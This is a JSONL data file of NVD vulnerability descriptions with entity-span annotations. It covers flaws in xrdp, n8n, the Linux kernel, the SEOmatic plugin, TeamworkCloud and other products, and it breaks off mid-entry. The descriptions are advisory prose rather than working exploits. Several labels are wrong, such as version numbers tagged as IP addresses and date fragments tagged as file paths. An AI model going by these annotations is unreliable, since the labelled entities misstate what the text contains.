{"text": "The xrdp-sesman service before version 0.9.13.1 can be crashed by connecting over port 3350 and supplying a malicious payload. Once the xrdp-sesman process is dead, an unprivileged attacker on the server could then proceed to start their own imposter sesman service listening on port 3350. This will allow them to capture any user credentials that are submitted to XRDP and approve or reject arbitrary login credentials. For xorgxrdp sessions in particular, this allows an unauthorized user to hijack an existing session. This is a buffer overflow attack, so there may be a risk of arbitrary code execution as well.", "spans": {"IP_ADDRESS: 0.9.13.1": [[39, 47]], "VULNERABILITY: buffer overflow": [[532, 547]], "VULNERABILITY: code execution": [[592, 606]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4044"}}
{"text": "n8n is an open source workflow automation platform. Prior to version 2.8.0, when the `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK` environment variable is set to `true`, the OAuth callback handler skips ownership verification of the OAuth state parameter. This allows an attacker to trick a victim into completing an OAuth flow against a credential object the attacker controls, causing the victim's OAuth tokens to be stored in the attacker's credential. The attacker can then use those tokens to execute workflows in their name. This issue only affects instances where `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` is explicitly configured (non-default). The issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Avoid enabling `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` unless strictly required, and/ or restrict access to the n8n instance to fully trusted users only. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33720"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: stmmac: enable all safety features by default\n\nIn the original implementation of dwmac5\ncommit 8bf993a5877e (\"net: stmmac: Add support for DWMAC5 and implement Safety Features\")\nall safety features were enabled by default.\n\nLater it seems some implementations didn't have support for all the\nfeatures, so in\ncommit 5ac712dcdfef (\"net: stmmac: enable platform specific safety features\")\nthe safety_feat_cfg structure was added to the callback and defined for\nsome platforms to selectively enable these safety features.\n\nThe problem is that only certain platforms were given that software\nsupport. If the automotive safety package bit is set in the hardware\nfeatures register the safety feature callback is called for the platform,\nand for platforms that didn't get a safety_feat_cfg defined this results\nin the following NULL pointer dereference:\n\n[    7.933303] Call trace:\n[    7.935812]  dwmac5_safety_feat_config+0x20/0x170 [stmmac]\n[    7.941455]  __stmmac_open+0x16c/0x474 [stmmac]\n[    7.946117]  stmmac_open+0x38/0x70 [stmmac]\n[    7.950414]  __dev_open+0x100/0x1dc\n[    7.954006]  __dev_change_flags+0x18c/0x204\n[    7.958297]  dev_change_flags+0x24/0x6c\n[    7.962237]  do_setlink+0x2b8/0xfa4\n[    7.965827]  __rtnl_newlink+0x4ec/0x840\n[    7.969766]  rtnl_newlink+0x50/0x80\n[    7.973353]  rtnetlink_rcv_msg+0x12c/0x374\n[    7.977557]  netlink_rcv_skb+0x5c/0x130\n[    7.981500]  rtnetlink_rcv+0x18/0x2c\n[    7.985172]  netlink_unicast+0x2e8/0x340\n[    7.989197]  netlink_sendmsg+0x1a8/0x420\n[    7.993222]  ____sys_sendmsg+0x218/0x280\n[    7.997249]  ___sys_sendmsg+0xac/0x100\n[    8.001103]  __sys_sendmsg+0x84/0xe0\n[    8.004776]  __arm64_sys_sendmsg+0x24/0x30\n[    8.008983]  invoke_syscall+0x48/0x114\n[    8.012840]  el0_svc_common.constprop.0+0xcc/0xec\n[    8.017665]  do_el0_svc+0x38/0xb0\n[    8.021071]  el0_svc+0x2c/0x84\n[    8.024212]  el0t_64_sync_handler+0xf4/0x120\n[    8.028598]  el0t_64_sync+0x190/0x194\n\nGo back to the original behavior, if the automotive safety package\nis found to be supported in hardware enable all the features unless\nsafety_feat_cfg is passed in saying this particular platform only\nsupports a subset of the features.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[894, 918]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53011"}}
{"text": "A cross-site scripting (XSS) vulnerability in the SEOmatic plugin 3.4.10 for Craft CMS 3 allows remote attackers to inject arbitrary web script via a GET to /index.php?action=seomatic/file/seo-file-link with url parameter containing the base64 encoded URL of a malicious web page / file and fileName parameter containing an arbitrary filename with the intended content-type to be rendered in the user's browser as the extension.", "spans": {"FILEPATH: /file/seo-file-link": [[183, 202]], "FILEPATH: index.php": [[158, 167]], "VULNERABILITY: cross-site scripting": [[2, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41750"}}
{"text": "A stack buffer overflow vulnerability has been reported to affect QNAP device running QVR Elite, QVR Pro, QVR Guard. If exploited, this vulnerability allows attackers to execute arbitrary code. We have already fixed this vulnerability in the following versions of QVR Elite, QVR Pro, QVR Guard: QuTS hero h5.0.0: QVR Elite 2.1.4.0 (2021/12/06) and later QuTS hero h4.5.4: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 5.0.0: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 4.5.4: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 4.5.4: QVR Pro 2.1.3.0 (2021/12/06) and later QTS 5.0.0: QVR Pro 2.1.3.0 (2021/12/06) and later QTS 4.5.4: QVR Guard 2.1.3.0 (2021/12/06) and later QTS 5.0.0: QVR Guard 2.1.3.0 (2021/12/06) and later", "spans": {"IP_ADDRESS: 2.1.4.0": [[323, 330], [382, 389], [434, 441], [486, 493]], "IP_ADDRESS: 2.1.3.0": [[536, 543], [586, 593], [638, 645], [690, 697]], "FILEPATH: /12/06": [[336, 342], [395, 401], [447, 453], [499, 505], [549, 555], [599, 605], [651, 657], [703, 709]], "ORGANIZATION: QNAP": [[66, 70]], "VULNERABILITY: buffer overflow": [[8, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38691"}}
{"text": "The Emerson DeltaV Distributed Control System (DCS) controllers and IO cards through 2022-04-29 misuse passwords. Access to privileged operations on the maintenance port TELNET interface (23/TCP) on M-series and SIS (CSLS/LSNB/LSNG) nodes is controlled by means of utility passwords. These passwords are generated using a deterministic, insecure algorithm using a single seed value composed of a day/hour/minute timestamp with less than 16 bits of entropy. The seed value is fed through a lookup table and a series of permutation operations resulting in three different four-character passwords corresponding to different privilege levels. An attacker can easily reconstruct these passwords and thus gain access to privileged maintenance operations. NOTE: this is different from CVE-2014-2350.", "spans": {"CVE_ID: CVE-2014-2350": [[779, 792]], "FILEPATH: /LSNB/LSNG": [[221, 231]], "FILEPATH: /hour/minute": [[399, 411]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-29965"}}
{"text": "A vulnerability in the TLS handler of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software for Cisco Firepower 1000 Series firewalls could allow an unauthenticated, remote attacker to gain access to sensitive information. The vulnerability is due to improper implementation of countermeasures against the Bleichenbacher attack for cipher suites that rely on RSA for key exchange. An attacker could exploit this vulnerability by sending crafted TLS messages to the device, which would act as an oracle and allow the attacker to carry out a chosen-ciphertext attack. A successful exploit could allow the attacker to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions to the affected device. To exploit this vulnerability, an attacker must be able to perform both of the following actions: Capture TLS traffic that is in transit between clients and the affected device Actively establish a considerable number of TLS connections to the affected device", "spans": {"SYSTEM: Cisco Firepower": [[91, 106], [141, 156]], "ORGANIZATION: Cisco": [[38, 43]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3585"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkunit: string-stream: Fix a UAF bug in kunit_init_suite()\n\nIn kunit_debugfs_create_suite(), if alloc_string_stream() fails in the\nkunit_suite_for_each_test_case() loop, the \"suite->log = stream\"\nhas assigned before, and the error path only free the suite->log's stream\nmemory but not set it to NULL, so the later string_stream_clear() of\nsuite->log in kunit_init_suite() will cause below UAF bug.\n\nSet stream pointer to NULL after free to fix it.\n\n\tUnable to handle kernel paging request at virtual address 006440150000030d\n\tMem abort info:\n\t  ESR = 0x0000000096000004\n\t  EC = 0x25: DABT (current EL), IL = 32 bits\n\t  SET = 0, FnV = 0\n\t  EA = 0, S1PTW = 0\n\t  FSC = 0x04: level 0 translation fault\n\tData abort info:\n\t  ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n\t  CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n\t  GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n\t[006440150000030d] address between user and kernel address ranges\n\tInternal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n\tDumping ftrace buffer:\n\t   (ftrace buffer empty)\n\tModules linked in: iio_test_gts industrialio_gts_helper cfg80211 rfkill ipv6 [last unloaded: iio_test_gts]\n\tCPU: 5 UID: 0 PID: 6253 Comm: modprobe Tainted: G    B   W        N 6.12.0-rc4+ #458\n\tTainted: [B]=BAD_PAGE, [W]=WARN, [N]=TEST\n\tHardware name: linux,dummy-virt (DT)\n\tpstate: 40000005 (nZcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n\tpc : string_stream_clear+0x54/0x1ac\n\tlr : string_stream_clear+0x1a8/0x1ac\n\tsp : ffffffc080b47410\n\tx29: ffffffc080b47410 x28: 006440550000030d x27: ffffff80c96b5e98\n\tx26: ffffff80c96b5e80 x25: ffffffe461b3f6c0 x24: 0000000000000003\n\tx23: ffffff80c96b5e88 x22: 1ffffff019cdf4fc x21: dfffffc000000000\n\tx20: ffffff80ce6fa7e0 x19: 032202a80000186d x18: 0000000000001840\n\tx17: 0000000000000000 x16: 0000000000000000 x15: ffffffe45c355cb4\n\tx14: ffffffe45c35589c x13: ffffffe45c03da78 x12: ffffffb810168e75\n\tx11: 1ffffff810168e74 x10: ffffffb810168e74 x9 : dfffffc000000000\n\tx8 : 0000000000000004 x7 : 0000000000000003 x6 : 0000000000000001\n\tx5 : ffffffc080b473a0 x4 : 0000000000000000 x3 : 0000000000000000\n\tx2 : 0000000000000001 x1 : ffffffe462fbf620 x0 : dfffffc000000000\n\tCall trace:\n\t string_stream_clear+0x54/0x1ac\n\t __kunit_test_suites_init+0x108/0x1d8\n\t kunit_exec_run_tests+0xb8/0x100\n\t kunit_module_notify+0x400/0x55c\n\t notifier_call_chain+0xfc/0x3b4\n\t blocking_notifier_call_chain+0x68/0x9c\n\t do_init_module+0x24c/0x5c8\n\t load_module+0x4acc/0x4e90\n\t init_module_from_file+0xd4/0x128\n\t idempotent_init_module+0x2d4/0x57c\n\t __arm64_sys_finit_module+0xac/0x100\n\t invoke_syscall+0x6c/0x258\n\t el0_svc_common.constprop.0+0x160/0x22c\n\t do_el0_svc+0x44/0x5c\n\t el0_svc+0x48/0xb8\n\t el0t_64_sync_handler+0x13c/0x158\n\t el0t_64_sync+0x190/0x194\n\tCode: f9400753 d2dff800 f2fbffe0 d343fe7c (38e06b80)\n\t---[ end trace 0000000000000000 ]---\n\tKernel panic - not syncing: Oops: Fatal exception", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56772"}}
{"text": "cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) serialization format. Versions prior to 5.9.0 are vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding deeply nested CBOR structures. This vulnerability affects both the pure Python implementation and the C extension `_cbor2`. The C extension relies on Python's internal recursion limits `Py_EnterRecursiveCall` rather than a data-driven depth limit, meaning it still raises `RecursionError` and crashes the worker process when the limit is hit. While the library handles moderate nesting levels, it lacks a hard depth limit. An attacker can supply a crafted CBOR payload containing approximately 100,000 nested arrays `0x81`. When `cbor2.loads()` attempts to parse this, it hits the Python interpreter's maximum recursion depth or exhausts the stack, causing the process to crash with a `RecursionError`. Because the library does not enforce its own limits, it allows an external attacker to exhaust the host application's stack resource. In many web application servers (e.g., Gunicorn, Uvicorn) or task queues (Celery), an unhandled `RecursionError` terminates the worker process immediately. By sending a stream of these small (<100KB) malicious packets, an attacker can repeatedly crash worker processes, resulting in a complete Denial of Service for the application. Version 5.9.0 patches the issue.", "spans": {"SYSTEM: Python": [[305, 311], [383, 389], [814, 820]], "VULNERABILITY: Denial of Service": [[155, 172], [1364, 1381]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26209"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix management of listener transports\n\nCurrently, when no active threads are running, a root user using nfsdctl\ncommand can try to remove a particular listener from the list of previously\nadded ones, then start the server by increasing the number of threads,\nit leads to the following problem:\n\n[  158.835354] refcount_t: addition on 0; use-after-free.\n[  158.835603] WARNING: CPU: 2 PID: 9145 at lib/refcount.c:25 refcount_warn_saturate+0x160/0x1a0\n[  158.836017] Modules linked in: rpcrdma rdma_cm iw_cm ib_cm ib_core nfsd auth_rpcgss nfs_acl lockd grace overlay isofs uinput snd_seq_dummy snd_hrtimer nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 rfkill ip_set nf_tables qrtr sunrpc vfat fat uvcvideo videobuf2_vmalloc videobuf2_memops uvc videobuf2_v4l2 videodev videobuf2_common snd_hda_codec_generic mc e1000e snd_hda_intel snd_intel_dspcfg snd_hda_codec snd_hda_core snd_hwdep snd_seq snd_seq_device snd_pcm snd_timer snd soundcore sg loop dm_multipath dm_mod nfnetlink vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vmw_vmci vsock xfs libcrc32c crct10dif_ce ghash_ce vmwgfx sha2_ce sha256_arm64 sr_mod sha1_ce cdrom nvme drm_client_lib drm_ttm_helper ttm nvme_core drm_kms_helper nvme_auth drm fuse\n[  158.840093] CPU: 2 UID: 0 PID: 9145 Comm: nfsd Kdump: loaded Tainted: G    B   W          6.13.0-rc6+ #7\n[  158.840624] Tainted: [B]=BAD_PAGE, [W]=WARN\n[  158.840802] Hardware name: VMware, Inc. VMware20,1/VBSA, BIOS VMW201.00V.24006586.BA64.2406042154 06/04/2024\n[  158.841220] pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n[  158.841563] pc : refcount_warn_saturate+0x160/0x1a0\n[  158.841780] lr : refcount_warn_saturate+0x160/0x1a0\n[  158.842000] sp : ffff800089be7d80\n[  158.842147] x29: ffff800089be7d80 x28: ffff00008e68c148 x27: ffff00008e68c148\n[  158.842492] x26: ffff0002e3b5c000 x25: ffff600011cd1829 x24: ffff00008653c010\n[  158.842832] x23: ffff00008653c000 x22: 1fffe00011cd1829 x21: ffff00008653c028\n[  158.843175] x20: 0000000000000002 x19: ffff00008653c010 x18: 0000000000000000\n[  158.843505] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n[  158.843836] x14: 0000000000000000 x13: 0000000000000001 x12: ffff600050a26493\n[  158.844143] x11: 1fffe00050a26492 x10: ffff600050a26492 x9 : dfff800000000000\n[  158.844475] x8 : 00009fffaf5d9b6e x7 : ffff000285132493 x6 : 0000000000000001\n[  158.844823] x5 : ffff000285132490 x4 : ffff600050a26493 x3 : ffff8000805e72bc\n[  158.845174] x2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff000098588000\n[  158.845528] Call trace:\n[  158.845658]  refcount_warn_saturate+0x160/0x1a0 (P)\n[  158.845894]  svc_recv+0x58c/0x680 [sunrpc]\n[  158.846183]  nfsd+0x1fc/0x348 [nfsd]\n[  158.846390]  kthread+0x274/0x2f8\n[  158.846546]  ret_from_fork+0x10/0x20\n[  158.846714] ---[ end trace 0000000000000000 ]---\n\nnfsd_nl_listener_set_doit() would manipulate the list of transports of\nserver's sv_permsocks and close the specified listener but the other\nlist of transports (server's sp_xprts list) would not be changed leading\nto the problem above.\n\nInstead, determined if the nfsdctl is trying to remove a listener, in\nwhich case, delete all the existing listener transports and re-create\nall-but-the-removed ones.", "spans": {"FILEPATH: /04/2024": [[1696, 1704]], "FILEPATH: refcount.c": [[476, 486]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[1623, 1629]], "VULNERABILITY: use-after-free": [[412, 426]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22024"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nixgbevf: fix mailbox API compatibility by negotiating supported features\n\nThere was backward compatibility in the terms of mailbox API. Various\ndrivers from various OSes supporting 10G adapters from Intel portfolio\ncould easily negotiate mailbox API.\n\nThis convention has been broken since introducing API 1.4.\nCommit 0062e7cc955e (\"ixgbevf: add VF IPsec offload code\") added support\nfor IPSec which is specific only for the kernel ixgbe driver. None of the\nrest of the Intel 10G PF/VF drivers supports it. And actually lack of\nsupport was not included in the IPSec implementation - there were no such\ncode paths. No possibility to negotiate support for the feature was\nintroduced along with introduction of the feature itself.\n\nCommit 339f28964147 (\"ixgbevf: Add support for new mailbox communication\nbetween PF and VF\") increasing API version to 1.5 did the same - it\nintroduced code supported specifically by the PF ESX driver. It altered API\nversion for the VF driver in the same time not touching the version\ndefined for the PF ixgbe driver. It led to additional discrepancies,\nas the code provided within API 1.6 cannot be supported for Linux ixgbe\ndriver as it causes crashes.\n\nThe issue was noticed some time ago and mitigated by Jake within the commit\nd0725312adf5 (\"ixgbevf: stop attempting IPSEC offload on Mailbox API 1.5\").\nAs a result we have regression for IPsec support and after increasing API\nto version 1.6 ixgbevf driver stopped to support ESX MBX.\n\nTo fix this mess add new mailbox op asking PF driver about supported\nfeatures. Basing on a response determine whether to set support for IPSec\nand ESX-specific enhanced mailbox.\n\nNew mailbox op, for compatibility purposes, must be added within new API\nrevision, as API version of OOT PF & VF drivers is already increased to\n1.6 and doesn't incorporate features negotiate op.\n\nFeatures negotiation mechanism gives possibility to be extended with new\nfeatures when needed in the future.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1212, 1217]], "ORGANIZATION: Intel": [[268, 273], [539, 544]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40104"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Only call folio_start_fscache() one time for each folio\n\nIf a network filesystem using netfs implements a clamp_length()\nfunction, it can set subrequest lengths smaller than a page size.\n\nWhen we loop through the folios in netfs_rreq_unlock_folios() to\nset any folios to be written back, we need to make sure we only\ncall folio_start_fscache() once for each folio.\n\nOtherwise, this simple testcase:\n\n  mount -o fsc,rsize=1024,wsize=1024 127.0.0.1:/export /mnt/nfs\n  dd if=/dev/zero of=/mnt/nfs/file.bin bs=4096 count=1\n  1+0 records in\n  1+0 records out\n  4096 bytes (4.1 kB, 4.0 KiB) copied, 0.0126359 s, 324 kB/s\n  echo 3 > /proc/sys/vm/drop_caches\n  cat /mnt/nfs/file.bin > /dev/null\n\nwill trigger an oops similar to the following:\n\n  page dumped because: VM_BUG_ON_FOLIO(folio_test_private_2(folio))\n  ------------[ cut here ]------------\n  kernel BUG at include/linux/netfs.h:44!\n  ...\n  CPU: 5 PID: 134 Comm: kworker/u16:5 Kdump: loaded Not tainted 6.4.0-rc5\n  ...\n  RIP: 0010:netfs_rreq_unlock_folios+0x68e/0x730 [netfs]\n  ...\n  Call Trace:\n    netfs_rreq_assess+0x497/0x660 [netfs]\n    netfs_subreq_terminated+0x32b/0x610 [netfs]\n    nfs_netfs_read_completion+0x14e/0x1a0 [nfs]\n    nfs_read_completion+0x2f9/0x330 [nfs]\n    rpc_free_task+0x72/0xa0 [sunrpc]\n    rpc_async_release+0x46/0x70 [sunrpc]\n    process_one_work+0x3bd/0x710\n    worker_thread+0x89/0x610\n    kthread+0x181/0x1c0\n    ret_from_fork+0x29/0x50", "spans": {"IP_ADDRESS: 127.0.0.1": [[513, 522]], "FILEPATH: /mnt/nfs": [[531, 539]], "FILEPATH: /dev/zero": [[548, 557]], "FILEPATH: /mnt/nfs/file.bin": [[561, 578], [733, 750]], "FILEPATH: /proc/sys/vm/drop_caches": [[702, 726]], "FILEPATH: /dev/null": [[753, 762]], "FILEPATH: /linux/netfs.h": [[942, 956]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52582"}}
{"text": "An incorrect permission assignment during the installation script of TeamworkCloud 18.0 thru 19.0 allows a local unprivileged attacker to execute arbitrary code as root. During installation, the user is instructed to set the system enviroment file with world writable permissions (0777 /etc/environment). Any local unprivileged user can execute arbitrary code simply by writing to /etc/environment, which will force all users, including root, to execute arbitrary code during the next login or reboot. In addition, the entire home directory of the twcloud user at /home/twcloud is recursively given world writable permissions. This allows any local unprivileged attacker to execute arbitrary code, as twcloud. This product was previous named Cameo Enterprise Data Warehouse (CEDW).", "spans": {"FILEPATH: /etc/environment": [[286, 302], [381, 397]], "FILEPATH: /home/twcloud": [[564, 577]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25507"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: TX zerocopy should not sense pfmemalloc status\n\nWe got a recent syzbot report [1] showing a possible misuse\nof pfmemalloc page status in TCP zerocopy paths.\n\nIndeed, for pages coming from user space or other layers,\nusing page_is_pfmemalloc() is moot, and possibly could give\nfalse positives.\n\nThere has been attempts to make page_is_pfmemalloc() more robust,\nbut not using it in the first place in this context is probably better,\nremoving cpu cycles.\n\nNote to stable teams :\n\nYou need to backport 84ce071e38a6 (\"net: introduce\n__skb_fill_page_desc_noacc\") as a prereq.\n\nRace is more probable after commit c07aea3ef4d4\n(\"mm: add a signature in struct page\") because page_is_pfmemalloc()\nis now using low order bit from page->lru.next, which can change\nmore often than page->index.\n\nLow order bit should never be set for lru.next (when used as an anchor\nin LRU list), so KCSAN report is mostly a false positive.\n\nBackporting to older kernel versions seems not necessary.\n\n[1]\nBUG: KCSAN: data-race in lru_add_fn / tcp_build_frag\n\nwrite to 0xffffea0004a1d2c8 of 8 bytes by task 18600 on cpu 0:\n__list_add include/linux/list.h:73 [inline]\nlist_add include/linux/list.h:88 [inline]\nlruvec_add_folio include/linux/mm_inline.h:105 [inline]\nlru_add_fn+0x440/0x520 mm/swap.c:228\nfolio_batch_move_lru+0x1e1/0x2a0 mm/swap.c:246\nfolio_batch_add_and_move mm/swap.c:263 [inline]\nfolio_add_lru+0xf1/0x140 mm/swap.c:490\nfilemap_add_folio+0xf8/0x150 mm/filemap.c:948\n__filemap_get_folio+0x510/0x6d0 mm/filemap.c:1981\npagecache_get_page+0x26/0x190 mm/folio-compat.c:104\ngrab_cache_page_write_begin+0x2a/0x30 mm/folio-compat.c:116\next4_da_write_begin+0x2dd/0x5f0 fs/ext4/inode.c:2988\ngeneric_perform_write+0x1d4/0x3f0 mm/filemap.c:3738\next4_buffered_write_iter+0x235/0x3e0 fs/ext4/file.c:270\next4_file_write_iter+0x2e3/0x1210\ncall_write_iter include/linux/fs.h:2187 [inline]\nnew_sync_write fs/read_write.c:491 [inline]\nvfs_write+0x468/0x760 fs/read_write.c:578\nksys_write+0xe8/0x1a0 fs/read_write.c:631\n__do_sys_write fs/read_write.c:643 [inline]\n__se_sys_write fs/read_write.c:640 [inline]\n__x64_sys_write+0x3e/0x50 fs/read_write.c:640\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nread to 0xffffea0004a1d2c8 of 8 bytes by task 18611 on cpu 1:\npage_is_pfmemalloc include/linux/mm.h:1740 [inline]\n__skb_fill_page_desc include/linux/skbuff.h:2422 [inline]\nskb_fill_page_desc include/linux/skbuff.h:2443 [inline]\ntcp_build_frag+0x613/0xb20 net/ipv4/tcp.c:1018\ndo_tcp_sendpages+0x3e8/0xaf0 net/ipv4/tcp.c:1075\ntcp_sendpage_locked net/ipv4/tcp.c:1140 [inline]\ntcp_sendpage+0x89/0xb0 net/ipv4/tcp.c:1150\ninet_sendpage+0x7f/0xc0 net/ipv4/af_inet.c:833\nkernel_sendpage+0x184/0x300 net/socket.c:3561\nsock_sendpage+0x5a/0x70 net/socket.c:1054\npipe_to_sendpage+0x128/0x160 fs/splice.c:361\nsplice_from_pipe_feed fs/splice.c:415 [inline]\n__splice_from_pipe+0x222/0x4d0 fs/splice.c:559\nsplice_from_pipe fs/splice.c:594 [inline]\ngeneric_splice_sendpage+0x89/0xc0 fs/splice.c:743\ndo_splice_from fs/splice.c:764 [inline]\ndirect_splice_actor+0x80/0xa0 fs/splice.c:931\nsplice_direct_to_actor+0x305/0x620 fs/splice.c:886\ndo_splice_direct+0xfb/0x180 fs/splice.c:974\ndo_sendfile+0x3bf/0x910 fs/read_write.c:1249\n__do_sys_sendfile64 fs/read_write.c:1317 [inline]\n__se_sys_sendfile64 fs/read_write.c:1303 [inline]\n__x64_sys_sendfile64+0x10c/0x150 fs/read_write.c:1303\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nvalue changed: 0x0000000000000000 -> 0xffffea0004a1d288\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 1 PID: 18611 Comm: syz-executor.4 Not tainted 6.0.0-rc2-syzkaller-00248-ge022620b5d05-dirty #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/22/2022", "spans": {"FILEPATH: /linux/list.h": [[1185, 1198], [1227, 1240]], "FILEPATH: /linux/mm_inline.h": [[1277, 1295]], "FILEPATH: /ext4/inode.c": [[1722, 1735]], "FILEPATH: /ext4/file.c": [[1832, 1844]], "FILEPATH: /linux/fs.h": [[1906, 1917]], "FILEPATH: /x86/entry/common.c": [[2213, 2232], [2273, 2292], [3519, 3538], [3579, 3598]], "FILEPATH: /linux/mm.h": [[2426, 2437]], "FILEPATH: /linux/skbuff.h": [[2480, 2495], [2536, 2551]], "FILEPATH: /ipv4/tcp.c": [[2596, 2607], [2645, 2656], [2685, 2696], [2737, 2748]], "FILEPATH: /ipv4/af_inet.c": [[2781, 2796]], "FILEPATH: /22/2022": [[3927, 3935]], "FILEPATH: swap.c": [[1335, 1341], [1382, 1388], [1421, 1427], [1469, 1475]], "FILEPATH: filemap.c": [[1512, 1521], [1561, 1570], [1778, 1787]], "FILEPATH: compat.c": [[1615, 1623], [1675, 1683]], "FILEPATH: read_write.c": [[1950, 1962], [2001, 2013], [2043, 2055], [2078, 2090], [2122, 2134], [2177, 2189], [3328, 3340], [3369, 3381], [3419, 3431], [3482, 3494]], "FILEPATH: socket.c": [[2833, 2841], [2875, 2883]], "FILEPATH: splice.c": [[2921, 2929], [2959, 2967], [3015, 3023], [3048, 3056], [3107, 3115], [3138, 3146], [3193, 3201], [3244, 3252], [3288, 3296]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3861, 3867], [3868, 3874], [3890, 3896], [3918, 3924]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48689"}}
{"text": "Canarytokens is an open source tool which helps track activity and actions on your network. A Cross-Site Scripting vulnerability was identified in the history page of triggered Canarytokens. This permits an attacker who recognised an HTTP-based Canarytoken (a URL) to execute Javascript in the Canarytoken's history page (domain: canarytokens.org) when the history page is later visited by the Canarytoken's creator. This vulnerability could be used to disable or delete the affected Canarytoken, or view its activation history. It might also be used as a stepping stone towards revealing more information about the Canarytoken's creator to the attacker. For example, an attacker could recover the email address tied to the Canarytoken, or place Javascript on the history page that redirect the creator towards an attacker-controlled Canarytoken to show the creator's network location. An attacker could only act on the discovered Canarytoken. This issue did not expose other Canarytokens or other Canarytoken creators. The issue has been patched on Canarytokens.org and in the latest release. No signs of successful exploitation of this vulnerability have been found. Users are advised to upgrade. There are no known workarounds for this issue.", "spans": {"DOMAIN: canarytokens.org": [[330, 346]], "DOMAIN: Canarytokens.org": [[1050, 1066]], "VULNERABILITY: Cross-Site Scripting": [[94, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31113"}}
{"text": "Improper Control of Generation of Code ('Code Injection') vulnerability in Progress DataDirect Connect for JDBC drivers, Progress DataDirect Open Access JDBC driver and Hybrid Data Pipeline allows Remote Code Inclusion.\n\nThe SpyAttribute connection option implemented by the DataDirect Connect for JDBC drivers, DataDirect Hybrid Data Pipeline JDBC driver and the DataDirect OpenAccess JDBC driver log=(file) construct allows the user to specify an arbitrary file for the JDBC driver to write its log information to.  If an application allows an end user to specify a value for the SpyAttributes connection option then an attacker could cause java script to be written to a log file.  If the log file was in the correct location with the correct extension, an application server could see that log file as a resource to be served.  The attacker could fetch the resource from the server causing the java script to be executed.\n\n\n\n\n\nThis issue affects:\n\n\n\nDataDirect Connect for JDBC for Amazon Redshift: through 6.0.0.001392, fixed in 6.0.0.001541\n\nDataDirect Connect for JDBC for Apache Cassandra: through 6.0.0.000805, fixed in 6.0.0.000833\n\nDataDirect Connect for JDBC for Hive: through 6.0.1.001499, fixed in 6.0.1.001628\n\nDataDirect Connect for JDBC for Apache Impala: through 6.0.0.001155, fixed in 6.0.0.001279\n\nDataDirect Connect for JDBC for Apache SparkSQL: through 6.0.1.001222, fixed in 6.0.1.001344\n\nDataDirect Connect for JDBC Autonomous REST Connector: through 6.0.1.006961, fixed in 6.0.1.007063\n\nDataDirect Connect for JDBC for DB2: through 6.0.0.000717, fixed in 6.0.0.000964\n\nDataDirect Connect for JDBC for Google Analytics 4: through 6.0.0.000454, fixed in 6.0.0.000525\n\nDataDirect Connect for JDBC for Google BigQuery: through 6.0.0.002279, fixed in 6.0.0.002410\nDataDirect Connect for JDBC for Greenplum: through 6.0.0.001712, fixed in 6.0.0.001727\nDataDirect Connect for JDBC for Informix: through 6.0.0.000690, fixed in 